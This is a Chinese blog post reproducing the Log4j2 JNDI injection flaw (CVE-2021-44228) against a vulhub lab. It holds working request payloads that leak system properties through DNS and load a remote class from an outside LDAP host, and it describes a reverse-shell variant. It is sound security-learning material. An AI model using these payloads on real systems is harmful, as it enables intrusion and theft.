1. 程式人生 > 其它 >Apache Log4j2 lookup JNDI 注入漏洞復現(CVE-2021-44228)

Apache Log4j2 lookup JNDI 注入漏洞復現(CVE-2021-44228)

今年的末尾水一篇部落格

漏洞簡介

Apache Log4j 2 是Java語言的日誌處理套件,使用極為廣泛。在其2.0到2.14.1版本中存在一處JNDI注入漏洞,攻擊者在可以控制日誌內容的情況下,通過傳入類似於${jndi:ldap://evil.com/example}的lookup用於進行JNDI注入,執行任意程式碼。

漏洞環境

使用vulhub的環境https://github.com/vulhub/vulhub/tree/master/log4j/CVE-2021-44228

訪問頁面

漏洞復現

使用dnslog回顯

GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1
Host: 101.35.121.195:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close

還有其他一些敏感資訊可以外帶
${hostName}
${sys:user.dir}
${sys:java.version}
${java:os}

jndi注入

用jndi exploit去做遠端惡意類載入

執行touch /tmp/success
傳送請求包

GET /solr/admin/cores?action=${jndi:ldap://1.15.177.22:1389/oltb2u} HTTP/1.1
Host: 101.35.121.195:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close

可以看到命令已經成功執行

同理我們可以這樣去反彈shell
用jndi注入bash反彈shell的惡意類,反彈shell命令需要編碼

然後去請求觸發就可以了

漏洞分析

分析和CodeQL的除錯之後再補下